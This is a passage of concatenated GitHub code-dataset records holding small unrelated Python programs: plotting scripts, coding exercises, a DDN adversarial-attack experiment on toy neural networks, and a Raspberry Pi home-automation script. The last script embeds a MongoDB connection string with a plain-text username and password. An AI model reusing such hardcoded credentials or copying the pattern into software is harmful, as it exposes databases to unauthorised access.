if(self.ui.twColorTable_ViewMaps):\n self.ui.twColorTable_ViewMaps.item(row,1).setText(item.text())\n \n @pyqtSlot(bool)\n def on_twMigrationOrder_ModelAnalysis_toggled(self,checked):\n self.buildtwMigrationOrder_ModelAnalysis(self.ui.twMigrationOrder_ModelAnalysis)\n if(checked):\n self.ui.twMigrationOrder_ModelAnalysis.setEnabled(False)\n \n @pyqtSlot(bool)\n def on_rbUserDefined_ModelAnalysisMigrationOrder_toggled(self,checked):\n self.buildtwMigrationOrder_ModelAnalysis(self.ui.twMigrationOrder_ModelAnalysis)\n if(checked):\n self.__conversionOrder='UD'\n self.ui.twMigrationOrder_ModelAnalysis.setEnabled(True)\n for i in list(range(0,self.__noOfClasses,1)):\n for j in list(range(0,self.__noOfClasses,1)):\n num=str(j+1)\n self.ui.twMigrationOrder_ModelAnalysis.item(i,j+1).setText(num)\n\n @pyqtSlot(QTableWidgetItem)\n def on_twMigrationOrder_ModelAnalysis_itemChanged(self,item):\n #if(self.ui.twMigrationOrder_ModelAnalysis.isSelected(item)):\n if(item.isSelected()):\n row=self.ui.twMigrationOrder_ModelAnalysis.currentRow()\n col=self.ui.twMigrationOrder_ModelAnalysis.currentColumn()\n if(col>=1):#First Column is Class Names\n strvalue=str(item.text())\n if(strvalue.isdigit()):\n newvalue=int(strvalue)\n for j in list(range(0,self.__noOfClasses,1)):\n flag=1\n for k in list(range(0,self.__noOfClasses,1)):\n checkitem=int(str(self.ui.twMigrationOrder_ModelAnalysis.item(row,k+1).text()))\n if((j+1)==checkitem):\n flag=0\n break\n if(flag!=0):\n oldvalue=str(j+1)\n break\n\n if(0 max_sum):\r\n max_sum = SUM\r\n else:\r\n continue\r\n return max_sum\r\n\r\nprint(hourglass(arr))\r\n","repo_name":"Dvyabharathi/My_python_code","sub_path":"day_11_hourglass.py","file_name":"day_11_hourglass.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41264627344","text":"import csv\nimport seaborn as sn\nimport matplotlib.pyplot as plt\nfrom pylab import savefig\nimport matplotlib.image as mpimg \nfrom matplotlib.colors import LogNorm\nimport math\n\n#with open(\"../try.csv\", 'r') as f:\n# wines = list(csv.reader(f, delimiter=\";\"))\nimport numpy as np\n\nsave_path = \"/Users/aparnak/Desktop/\"\nwines = np.genfromtxt('data_heatmap.csv',skip_header=1,delimiter=',',usecols=[1])\narr_2d = np.reshape(wines, (10, 20))\narr_2d[arr_2d == 0] = 1\nprint(arr_2d)\n# setting the parameter values\n#annot = True\n# setting the parameter values\nlinewidths = 0.5\nlinecolor = \"yellow\"\n\n#Taking log\nlog_norm = LogNorm(vmin=arr_2d.min().min(), vmax=arr_2d.max().max())\ncbar_ticks = [math.pow(10, i) for i in range(math.floor(math.log10(arr_2d.min().min())), 1+math.ceil(math.log10(arr_2d.max().max())))]\n\n\n# setting the parameter values\nxticklabels = False\nyticklabels = False\ncmap = \"plasma\"\n# setting the parameter values\n# plotting the heatmap\nhm = sn.heatmap(data = arr_2d, cmap = cmap,linewidths=linewidths,linecolor=linecolor, alpha=0.5, zorder = 2, norm=log_norm, cbar_kws={\"ticks\": cbar_ticks}, xticklabels=xticklabels,\n yticklabels=yticklabels)\n#plt.show()\n\n#figure = hm.get_figure()\n#figure.savefig(save_path+'lab_heatmap.png', dpi=400)\nmap_img = mpimg.imread('lll_grid.png')\n\nhm.imshow(map_img,\n aspect = hm.get_aspect(),\n extent = hm.get_xlim() + hm.get_ylim(),\n zorder = 1) #put the map under the heatmap\n\n#plt.figure(figsize = (10,10))\n#plt.imshow(hm)\n#plt.imshow(map_img, alpha=0.5)\n#from matplotlib.spyplot import show \nplt.show()\nfigure = hm.get_figure()\nfigure.savefig(save_path+'lab_heatmap.png', dpi=600)","repo_name":"aparnakishore/smart-buildings-lab3","sub_path":"numpy_array.py","file_name":"numpy_array.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3407557851","text":"import sys\ninput = sys.stdin.readline\np = 1000000007\n\ndef pow(matrix, n):\n if n == 1:\n return matrix\n elif n % 2 == 0:\n return pow(multi(matrix, matrix), n // 2)\n else:\n return multi(pow(matrix, n-1), matrix)\n\ndef multi(a, b):\n tmp = [[0]*len(b[0]) for _ in range(2)]\n for i in range(2):\n for j in range(len(b[0])):\n sum_ = 0\n for k in range(2):\n sum_ += a[i][k] * b[k][j]\n tmp[i][j] = sum_ % p\n return tmp\n\n\nfirst = [[1, 1],[1, 0]]\ns_mul = [[1], [1]]\n\nn = int(input())\nif n < 3:\n print(1)\nelse:\n print(multi(pow(first, n-2), s_mul)[0][0])\n","repo_name":"solyrion/Baekjoon_python","sub_path":"Python/baekjoon_11444.py","file_name":"baekjoon_11444.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37439702894","text":"import os\nimport pickle\n\nimport matplotlib.animation\nimport matplotlib.colors as colors\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef render_paths_heatmap_gif(filepath, gif_file=None, frames=10):\n ped_x_max = 3.0\n ped_y_max = 10.0\n ped_x_min = -10.0\n ped_y_min = -6.0\n LOGMIN = 0.01\n fidelity = 100\n\n fig = plt.figure()\n ax = plt.axes()\n\n fidelity = 100\n ped_position_discrete = np.zeros((fidelity, fidelity))\n\n # line, = ax.plot([], [], lw=2)\n filepath + '/paths_itr_0.p'\n bounds = [0.1, 1, 10**1, 10**2, 10**3, 10**4, 10**5]\n im = ax.imshow(ped_position_discrete,\n # norm=colors.LogNorm(vmin=max(ped_position_discrete.min(), LOGMIN)),\n norm=colors.BoundaryNorm(boundaries=bounds, ncolors=256),\n extent=[ped_x_min, ped_x_max, ped_y_min, ped_y_max]\n )\n ((-1.5 - ped_y_min)) / (ped_y_max - ped_y_min)\n ((4.5 - ped_y_min)) / (ped_y_max - ped_y_min)\n ax.axhline(y=-1.5, xmin=0, xmax=1)\n ax.axhline(y=4.5, xmin=0, xmax=1)\n vmin = max(ped_position_discrete.min(), LOGMIN)\n vmax = max(ped_position_discrete.max(), vmin + LOGMIN)\n im.set_clim(vmin, vmax)\n fig.colorbar(im, ax=ax) # , extend='max')\n # initialization function: plot the background of each frame\n\n def get_count(itr):\n # pdb.set_trace()\n filename = filepath + '/paths_itr_' + str(itr) + '.p'\n\n if (os.path.exists(filename)):\n with open(filename, 'rb') as f:\n paths = pickle.load(f)\n\n for path in range(paths['env_infos']['state'].shape[0]):\n # car = paths['env_infos']['state'][path, :, 3:7]\n # peds = paths['env_infos']['state'][path, :, 9:13].reshape((1, 4))\n for stp in range(paths['env_infos']['state'].shape[1]):\n pedx = paths['env_infos']['state'][path, stp, 11]\n pedy = paths['env_infos']['state'][path, stp, 12]\n\n if pedx < ped_x_max and pedx > ped_x_min and pedy < ped_y_max and pedy > ped_y_min:\n ped_x_idx = int(((pedx - ped_x_min) * fidelity) // (ped_x_max - ped_x_min))\n ped_y_idx = int(((pedy - ped_y_min) * fidelity) // (ped_y_max - ped_y_min))\n\n ped_position_discrete[-ped_y_idx, ped_x_idx] += 1\n\n def init():\n get_count(0)\n vmin = max(ped_position_discrete.min(), LOGMIN)\n vmax = ped_position_discrete.max()\n im.set_data(ped_position_discrete)\n im.set_clim(vmin, vmax)\n # im.set_norm(colors.LogNorm(vmin=max(ped_position_discrete.min(), LOGMIN)))\n return [im]\n\n # animation function. This is called sequentially\n def animate(i):\n get_count(i)\n vmin = max(ped_position_discrete.min(), LOGMIN)\n vmax = ped_position_discrete.max()\n # print(i, ped_position_discrete.max())\n im.set_data(ped_position_discrete)\n im.set_clim(vmin, vmax)\n # im.set_norm(colors.LogNorm(vmin=max(ped_position_discrete.min(), LOGMIN)))\n return [im]\n\n anim = matplotlib.animation.FuncAnimation(fig, animate, init_func=init, frames=frames, interval=200, blit=True)\n anim.save(filepath + '/' + gif_file, writer='imagemagick')\n\n\ndef render_paths(filepath, gif_file=None):\n fidelity = 100\n ped_position_discrete = np.zeros((fidelity, fidelity))\n\n itr = 0\n filename = filepath + '/paths_itr_' + str(itr) + '.p'\n\n ani = matplotlib.animation.FuncAnimation(fig, animate, init_func=init_animation, frames=50)\n ani.save('/tmp/animation.gif', writer='imagemagick', fps=30)\n\n while(os.path.exists(filename)):\n with open(filename, 'rb') as f:\n paths = pickle.load(f)\n\n fig, ax = plt.subplots()\n render_itr_heatmap(paths, ped_position_discrete, fig=fig, ax=ax)\n\n # pdb.set_trace()\n\n if gif_file is None:\n plt.show()\n\n itr += 1\n filename = filepath + '/paths_itr_' + str(itr) + '.p'\n\n\ndef render_itr_heatmap(samples_data, visit_counts, fig=None, ax=None):\n ped_x_max = 3.0\n ped_y_max = 10.0\n ped_x_min = -10.0\n ped_y_min = -6.0\n LOGMIN = 0.01\n fidelity = 100\n if ax is None or fig is None:\n fig, ax = plt.subplots()\n\n for path in range(samples_data['env_infos']['state'].shape[0]):\n # car = paths['env_infos']['state'][path, :, 3:7]\n # peds = paths['env_infos']['state'][path, :, 9:13].reshape((1, 4))\n for stp in range(samples_data['env_infos']['state'].shape[1]):\n pedx = samples_data['env_infos']['state'][path, stp, 11]\n pedy = samples_data['env_infos']['state'][path, stp, 12]\n if pedx < ped_x_max and pedx > ped_x_min and pedy < ped_y_max and pedy > ped_y_min:\n ped_x_idx = int(((pedx - ped_x_min) * fidelity) // (ped_x_max - ped_x_min))\n ped_y_idx = int(((pedy - ped_y_min) * fidelity) // (ped_y_max - ped_y_min))\n\n visit_counts[ped_x_idx, ped_y_idx] += 1\n\n fig, ax = plt.subplots()\n pcm = ax.imshow(visit_counts,\n norm=colors.LogNorm(vmin=max(visit_counts.min(), LOGMIN), vmax=visit_counts.max()),\n extent=[ped_x_min, ped_x_max, ped_y_min, ped_y_max]\n )\n ((-1.5 - ped_y_min)) / (ped_y_max - ped_y_min)\n ((4.5 - ped_y_min)) / (ped_y_max - ped_y_min)\n ax.axhline(y=-1.5, xmin=0, xmax=1)\n ax.axhline(y=4.5, xmin=0, xmax=1)\n fig.colorbar(pcm, ax=ax, extend='max')\n","repo_name":"mushi333/2021-FIT4003-SBSE-for-self-driving-cars","sub_path":"ast_toolbox/utils/analysis_utils.py","file_name":"analysis_utils.py","file_ext":"py","file_size_in_byte":5512,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"16008007349","text":"print(\"Epsilon : {}, Robust Accuracy: {}\".format(eps, robust_acc))\n#%%\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\nimport os\nimport sys\nimport time\nimport math\n\nimport torch.nn.init as init\nimport torch\nfrom torchvision import transforms\nfrom PIL import Image\nfrom torch.utils.data import random_split\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport os\nimport argparse\nimport numpy as np\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport time\nTOTAL_BAR_LENGTH = 65.\nlast_time = time.time()\nbegin_time = last_time\ndef progress_bar(current, total, msg=None):\n global last_time, begin_time\n if current == 0:\n begin_time = time.time() # Reset for new bar.\n\n cur_len = int(TOTAL_BAR_LENGTH*current/total)\n rest_len = int(TOTAL_BAR_LENGTH - cur_len) - 1\n\n sys.stdout.write(' [')\n for i in range(cur_len):\n sys.stdout.write('=')\n sys.stdout.write('>')\n for i in range(rest_len):\n sys.stdout.write('.')\n sys.stdout.write(']')\n\n cur_time = time.time()\n step_time = cur_time - last_time\n last_time = cur_time\n tot_time = cur_time - begin_time\n\n L = []\n L.append(' Step: %s' % format_time(step_time))\n L.append(' | Tot: %s' % format_time(tot_time))\n if msg:\n L.append(' | ' + msg)\n\n msg = ''.join(L)\n sys.stdout.write(msg)\n for i in range(term_width-int(TOTAL_BAR_LENGTH)-len(msg)-3):\n sys.stdout.write(' ')\n\n # Go back to the center of the bar.\n for i in range(term_width-int(TOTAL_BAR_LENGTH/2)+2):\n sys.stdout.write('\\b')\n sys.stdout.write(' %d/%d ' % (current+1, total))\n\n if current < total-1:\n sys.stdout.write('\\r')\n else:\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\ndef format_time(seconds):\n days = int(seconds / 3600/24)\n seconds = seconds - days*3600*24\n hours = int(seconds / 3600)\n seconds = seconds - hours*3600\n minutes = int(seconds / 60)\n seconds = seconds - minutes*60\n secondsf = int(seconds)\n seconds = seconds - secondsf\n millis = int(seconds*1000)\n\n f = ''\n i = 1\n if days > 0:\n f += str(days) + 'D'\n i += 1\n if hours > 0 and i <= 2:\n f += str(hours) + 'h'\n i += 1\n if minutes > 0 and i <= 2:\n f += str(minutes) + 'm'\n i += 1\n if secondsf > 0 and i <= 2:\n f += str(secondsf) + 's'\n i += 1\n if millis > 0 and i <= 2:\n f += str(millis) + 'ms'\n i += 1\n if f == '':\n f = '0ms'\n return f\nfrom typing import Optional\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\nclass DDN:\n \"\"\"\n DDN attack: decoupling the direction and norm of the perturbation to achieve a small L2 norm in few steps.\n Parameters\n ----------\n steps : int\n Number of steps for the optimization.\n gamma : float, optional\n Factor by which the norm will be modified. new_norm = norm * (1 + or - gamma).\n init_norm : float, optional\n Initial value for the norm.\n quantize : bool, optional\n If True, the returned adversarials will have quantized values to the specified number of levels.\n levels : int, optional\n Number of levels to use for quantization (e.g. 256 for 8 bit images).\n max_norm : float or None, optional\n If specified, the norms of the perturbations will not be greater than this value which might lower success rate.\n device : torch.device, optional\n Device on which to perform the attack.\n callback : object, optional\n Visdom callback to display various metrics.\n \"\"\"\n def __init__(self,\n steps: int,\n gamma: float = 0.05,\n init_norm: float = 1.,\n quantize: bool = True,\n levels: int = 256,\n max_norm: Optional[float] = None,\n device: torch.device = torch.device('cpu'),\n callback: Optional = None) -> None:\n self.steps = steps\n self.gamma = gamma\n self.init_norm = init_norm\n self.quantize = quantize\n self.levels = levels\n self.max_norm = max_norm\n self.device = device\n self.callback = callback\n def attack(self, model: nn.Module, inputs: torch.Tensor, labels: torch.Tensor,\n targeted: bool = False) -> torch.Tensor:\n \"\"\"\n Performs the attack of the model for the inputs and labels.\n Parameters\n ----------\n model : nn.Module\n Model to attack.\n inputs : torch.Tensor\n Batch of samples to attack. Values should be in the [0, 1] range.\n labels : torch.Tensor\n Labels of the samples to attack if untargeted, else labels of targets.\n targeted : bool, optional\n Whether to perform a targeted attack or not.\n Returns\n -------\n torch.Tensor\n Batch of samples modified to be adversarial to the model.\n \"\"\"\n inputs_max = inputs.max()\n inputs_min = inputs.min()\n inputs = (inputs-inputs_min) / (inputs_max-inputs_min)\n if inputs.min() < 0 or inputs.max() > 1: raise ValueError('Input values should be in the [0, 1] range.')\n batch_size = inputs.shape[0]\n multiplier = 1 if targeted else -1\n delta = torch.zeros_like(inputs, requires_grad=True)\n norm = torch.full((batch_size,), self.init_norm, device=self.device, dtype=torch.float)\n worst_norm = torch.max(inputs, 1 - inputs).view(batch_size, -1).norm(p=2, dim=1)\n # Setup optimizers\n optimizer = optim.SGD([delta], lr=1)\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=self.steps, eta_min=0.01)\n best_l2 = worst_norm.clone()\n best_delta = torch.zeros_like(inputs)\n adv_found = torch.zeros(inputs.size(0), dtype=torch.uint8, device=self.device)\n for i in range(self.steps):\n scheduler.step()\n l2 = delta.data.view(batch_size, -1).norm(p=2, dim=1)\n # adv = inputs + delta\n adv = (inputs + delta) * (inputs_max-inputs_min) + inputs_min\n logits = model(adv)\n pred_labels = logits.argmax(1)\n ce_loss = F.cross_entropy(logits, labels, reduction='sum')\n loss = multiplier * ce_loss\n is_adv = (pred_labels == labels) if targeted else (pred_labels != labels)\n is_smaller = l2 < best_l2\n is_both = is_adv * is_smaller\n adv_found[is_both] = 1\n best_l2[is_both] = l2[is_both]\n best_delta[is_both] = delta.data[is_both]\n optimizer.zero_grad()\n loss.backward()\n # renorming gradient\n grad_norms = delta.grad.view(batch_size, -1).norm(p=2, dim=1)\n delta.grad.div_(grad_norms.view(-1, 1, 1, 1))\n # avoid nan or inf if gradient is 0\n if (grad_norms == 0).any():\n delta.grad[grad_norms == 0] = torch.randn_like(delta.grad[grad_norms == 0])\n if self.callback:\n cosine = F.cosine_similarity(-delta.grad.view(batch_size, -1),\n delta.data.view(batch_size, -1), dim=1).mean().item()\n self.callback.scalar('ce', i, ce_loss.item() / batch_size)\n self.callback.scalars(\n ['max_norm', 'l2', 'best_l2'], i,\n [norm.mean().item(), l2.mean().item(),\n best_l2[adv_found].mean().item() if adv_found.any() else norm.mean().item()]\n )\n self.callback.scalars(['cosine', 'lr', 'success'], i,\n [cosine, optimizer.param_groups[0]['lr'], adv_found.float().mean().item()])\n optimizer.step()\n norm.mul_(1 - (2 * is_adv.float() - 1) * self.gamma)\n norm = torch.min(norm, worst_norm)\n delta.data.mul_((norm / delta.data.view(batch_size, -1).norm(2, 1)).view(-1, 1, 1, 1))\n delta.data.add_(inputs)\n if self.quantize:\n delta.data.mul_(self.levels - 1).round_().div_(self.levels - 1)\n delta.data.clamp_(0, 1).sub_(inputs)\n if self.max_norm:\n best_delta.renorm_(p=2, dim=0, maxnorm=self.max_norm)\n if self.quantize:\n best_delta.mul_(self.levels - 1).round_().div_(self.levels - 1)\n # return inputs + best_delta\n return (inputs + best_delta)* (inputs_max-inputs_min) + inputs_min\n\n\n\ndef create_dataset_dots(k=100):\n X_1 = np.zeros([1, 1, k, k])\n X_1[:, :, k//2, k//2] = 1\n X_2 = np.zeros([1, 1, k, k])\n X_2[:, :, k//2, k//2] = -1\n Xs = np.concatenate([X_1, X_2], 0)\n ys = np.hstack([np.zeros(1), np.ones(1)])\n return Xs, ys\n\n\nclass simple_Conv_2D(nn.Module):\n def __init__(self, n_hidden, kernel_size=28):\n super(simple_Conv_2D, self).__init__()\n padding_size = kernel_size // 2\n self.features = nn.Sequential(\n nn.Conv2d(1, n_hidden, kernel_size=kernel_size, padding=padding_size, padding_mode='circular'),\n nn.ReLU(),\n nn.AdaptiveAvgPool2d(1)\n )\n self.classifier = nn.Linear(n_hidden, 2)\n def forward(self, x):\n if len(x.size()) == 3:\n x = x.unsqueeze(1)\n out = self.features(x)\n out = out.view(out.size(0), -1)\n out = self.classifier(out)\n return out\n\n\nclass simple_FC_2D(nn.Module):\n def __init__(self, n_input, n_hidden):\n super(simple_FC_2D, self).__init__()\n self.features = nn.Sequential(\n nn.Flatten(),\n nn.Linear(n_input, n_hidden),\n nn.ReLU()\n )\n self.classifier = nn.Linear(n_hidden, 2)\n def forward(self, x):\n out = self.features(x)\n out = self.classifier(out)\n return out\n# Training\ndef train(epoch, net, batch):\n print('\\nEpoch: %d' % epoch)\n inputs, targets = batch\n batch_idx = 0\n net.train()\n train_loss = 0\n correct = 0\n total = 0\n inputs, targets = inputs.to(device), targets.to(device)\n optimizer.zero_grad()\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n loss.backward()\n optimizer.step()\n train_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n progress_bar(batch_idx, 1, 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\n return train_loss/(batch_idx+1)\n\n\ndef test(epoch, net, model_name, batch):\n global best_acc\n inputs, targets = batch\n batch_idx = 0\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n with torch.no_grad():\n inputs, targets = inputs.to(device), targets.to(device)\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n test_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n progress_bar(batch_idx, 1, 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (test_loss/(batch_idx+1), 100.*correct/total, correct, total))\n # Save checkpoint.\n acc = 100.*correct/total\n if epoch == start_epoch+199:\n print('Saving..')\n state = {\n 'net': net.state_dict(),\n 'acc': acc,\n 'epoch': epoch,\n }\n if not os.path.isdir('./ckpt'):\n os.mkdir('./ckpt')\n torch.save(state, './ckpt/%s.pth'%model_name)\n best_acc = acc\n\n\n\ndef l2_norm(x: torch.Tensor) -> torch.Tensor:\n return squared_l2_norm(x).sqrt()\n\n\ndef squared_l2_norm(x: torch.Tensor) -> torch.Tensor:\n flattened = x.view(x.shape[0], -1)\n return (flattened ** 2).sum(1)\n\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nterm_width = 65\n\ndists = {'FC':[], 'Conv':[]}\nlosses = {'FC':[], 'Conv':[]}\nfor model in ['FC', 'Conv']:\n best_acc = 0 # best test accuracy\n start_epoch = 0 # start from epoch 0 or last checkpoint epoch\n for i in range(15):\n k = i*2 + 1\n # batch = create_dataset_sin_cos(k)\n batch = create_dataset_dots(k)\n n_hidden = 100\n kernel_size = k\n # Model\n if model == 'FC':\n net = simple_FC_2D(k*k, n_hidden)\n elif model == 'Conv':\n net = simple_Conv_2D(n_hidden, kernel_size)\n print('Number of parameters: %d'%sum(p.numel() for p in net.parameters()))\n net = net.cuda()\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(net.parameters(), lr=1)\n # scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200)\n torch_batch = [torch.FloatTensor(batch[0]), torch.LongTensor(batch[1])]\n for epoch in range(start_epoch, start_epoch+3000):\n loss_epoch = train(epoch, net, torch_batch)\n test(epoch, net, 'simple_%s_%d_%d'%(model, n_hidden, k), torch_batch)\n if epoch == 999:\n optimizer.param_groups[0]['lr'] = 0.5\n if epoch == 1999:\n optimizer.param_groups[0]['lr'] = 0.1\n if epoch > 2999 and epoch % 1000 == 0:\n optimizer.param_groups[0]['lr'] = optimizer.param_groups[0]['lr'] / 10\n # scheduler.step()\n inputs, targets = torch_batch\n n_steps = [1000]\n for n_step in n_steps:\n attacker = DDN(steps=n_step, device=torch.device('cuda'))\n adv_norm = 0.\n adv_correct = 0\n total = 0\n inputs, targets = inputs.to(device), targets.to(device)\n adv = attacker.attack(net, inputs.to(device), labels=targets.to(device), targeted=False)\n adv_outputs = net(adv)\n _, adv_predicted = adv_outputs.max(1)\n total += targets.size(0)\n adv_correct += adv_predicted.eq(targets).sum().item()\n adv_norm += l2_norm(adv - inputs.to(device)).sum().item()\n print('DDN (n-step = {:.0f}) done in Success: {:.2f}%, Mean L2: {:.4f}.'.format(\n n_step,\n 100.*adv_correct/total,\n adv_norm/total\n ))\n dists[model].append(adv_norm/total)\n losses[model].append(loss_epoch)\n if k == 15:\n torchvision.utils.save_image(inputs[0]/2.+0.5, 'clean1.png')\n torchvision.utils.save_image(inputs[1]/2.+0.5, 'clean2.png')\n torchvision.utils.save_image(adv[0]/2.+0.5, '%s_adv1.png'%model)\n torchvision.utils.save_image(adv[1]/2.+0.5, '%s_adv2.png'%model)\nFCN_dists = dists['FC']\nCNN_dists = dists['Conv']\n\nCAND_COLORS = ['#a6cee3','#1f78b4','#b2df8a','#33a02c','#fb9a99','#e31a1c','#fdbf6f', '#ff7f00','#cab2d6','#6a3d9a', '#90ee90', '#9B870C', '#2f4554', '#61a0a8', '#d48265', '#c23531']\ncolors1 = CAND_COLORS[::2]\ncolors2 = CAND_COLORS[1::2]\n\nfont = {'family' : 'normal',\n 'size' : 17}\n\nmatplotlib.rc('font', **font)\n\nwith plt.style.context('bmh'):\n fig = plt.figure(dpi=250, figsize=(10, 5.5))\n plt.clf()\n ks = [i*2 + 1 for i in range(15)]\n ax = plt.subplot(111)\n plt.plot(ks, FCN_dists[:15], marker='o', linewidth=3, markersize=8, label='FCN', color=colors2[0], alpha=0.8)\n plt.plot(ks, CNN_dists[:15], marker='^', linewidth=3, markersize=8, label='CNN', color=colors2[2], alpha=0.8)\n plt.plot(ks, [1.0/(i*2+1) for i in range(15)], linestyle='dotted', marker='*', linewidth=3, markersize=8, label='CNTKKKK', color=colors2[1], alpha=0.8)\n # plt.tight_layout()\n box = ax.get_position()\n ax.set_position([box.x0, box.y0 + box.height * 0.1,\n box.width, box.height * 0.9])\n plt.legend(loc='upper center', bbox_to_anchor=(0.5, 1.178), ncol=3)\n # plt.ylabel('average distance of attack')\n # plt.xlabel('image width')\n plt.savefig('figure1.png')","repo_name":"RandomAnass/Analysis-of-new-phenomena-in-deep-learning","sub_path":"scripts/DDN_plot.py","file_name":"DDN_plot.py","file_ext":"py","file_size_in_byte":15924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17949950800","text":"#!/usr/bin/env python\nimport os\nimport sys\nimport glob\nimport subprocess\nfrom itertools import izip_longest\nimport subprocess\n\ndef grouper(n, iterable):\n args = [iter(iterable)] * n\n return ([e for e in t if e != None] for t in izip_longest(*args))\n\ndef main(*args):\n name = args[1]\n files = sorted(glob.glob('output/'+name+'-*'))\n if not files:\n sys.stderr.write('no files found!\\n')\n sys.exit(1)\n outputdir = os.path.join('output',name)\n os.makedirs(outputdir)\n counter = 0\n for g in grouper(3,files):\n subprocess.call([\"./multi.sh\", \n os.path.join(outputdir,str(counter).zfill(2)),\n ]+list(g))\n counter += 1\n\nif __name__ == '__main__':\n sys.exit(main(*sys.argv))\n","repo_name":"open-it-lab/posscon","sub_path":"lanyard/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3257792098","text":"#CÁLCULO DE IMC\n\npeso = float(input(\"Digite o seu peso em KG: \"))\naltura = float(input(\"Digite a sua altura em metros: \"))\n\nimc = peso / (altura ** 2)\n \nif imc > 35:\n print(\"O seu IMC é:\", round(imc, 2), \"e você está com obesidade extrema\")\nelif imc >= 30 and imc <= 35:\n print(\"O seu IMC é:\", round(imc, 2), \"e você está com obesidade\") \nelif imc >= 25 and imc < 30:\n print(\"O seu IMC é:\", round(imc, 2), \"e você está com excesso de peso\")\nelif imc >= 18.5 and imc < 25:\n print(\"O seu IMC é:\", round(imc, 2), \"e você está com o peso normal\")\nelse:\n print(\"O seu IMC é:\", round(imc, 2), \"e você está abaixo do peso\") \n\n\n \n","repo_name":"JonasJrr/Atividades-Python","sub_path":"Atividades/atividade_imc.py","file_name":"atividade_imc.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18553247765","text":"# Challenge: Given the class below:\n#\n# class Cat:\n# def __init__(self, name, age):\n# self.name = name\n# self.age = age\n#\n# Instantiate the Cat object with 3 cats and create a function that finds the oldest cat\n# and prints its name and age.\n\nclass Cat:\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n\ncat1 = Cat(\"Spookie\", 2)\ncat2 = Cat(\"Mooch\", 4)\ncat3 = Cat(\"Terry\", 1)\n\n\ndef print_oldest_cat(*args):\n oldest = args[0]\n for cat in args:\n if cat.age > oldest.age:\n oldest = cat\n print(f'The oldest cat is {oldest.name}, which is {oldest.age} years old.')\n return oldest\n\n\nprint_oldest_cat(cat1, cat2, cat3)\n","repo_name":"andyleeking9191/python_training","sub_path":"cat_challenge.py","file_name":"cat_challenge.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"95067733","text":"# Employee Class\nclass Employee:\n def __init__(self, fName, lName, idNum, dept, title):\n # Declaring employee Variables\n self.firstName = fName\n self.lastName = lName\n self.idNumber = idNum\n self.department = dept\n self.jobTitle = title\n\n # setting employees full name\n self.full = self.firstName + \" \" + self.lastName\n # setting employees email\n self.email = self.firstName.lower() + \".\" + self.lastName.lower() + \"@company.com\"\n\n\n# main\nif __name__ == '__main__':\n # Employee information\n empOne = Employee(\"Susan\", \"Meyers\", 47899, \"Accounting\", \"Vice President\")\n empTwo = Employee(\"Mark\", \"Jones\", 39119, \"IT\", \"Programmer\")\n empThree = Employee(\"Joy\", \"Rogers\", 81774, \"Manufacturing\", \"Engineer\")\n\n # prints full name and email\n print(\"Employee One Full Name: \", empOne.full)\n print(\"Employee One Email: \", empOne.email)\n","repo_name":"Mdavis25/IntroToScripting","sub_path":"Assignment_3/Question_3.py","file_name":"Question_3.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"41574528624","text":"import RPi.GPIO as GPIO\nimport time\n\nfrom pymongo import MongoClient\n\ndef update_document(my_device, status):\n uri = \"mongodb+srv://Home_Automation_AUT:Home_Automation_AUT@cluster0.9awkbpi.mongodb.net/?retryWrites=true&w=majority\"\n client = MongoClient(uri)\n db = client['Home_Automation_DB']\n\n collection = db['devices']\n collection.update_one({\"deviceName\": my_device }, {\"$set\": {\"status\":f'{status}'}})\n # print(\"Update Complete\")\n\nSENSOR_PIN = 17\nRELAY_PIN = 18\nREED_PIN = 22\nLED_PIN = 27\nIRO_PIN = 5\nLED_PIN_IR = 24\n\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(SENSOR_PIN, GPIO.IN)\nGPIO.setup(RELAY_PIN, GPIO.OUT)\nGPIO.setup(REED_PIN, GPIO.IN)\nGPIO.setup(LED_PIN, GPIO.OUT)\nGPIO.setup(IRO_PIN, GPIO.IN)\nGPIO.setup(LED_PIN_IR, GPIO.OUT)\n\ntry:\n while True:\n sensor_value = GPIO.input(SENSOR_PIN)\n reed_value = GPIO.input(REED_PIN)\n ir_val = 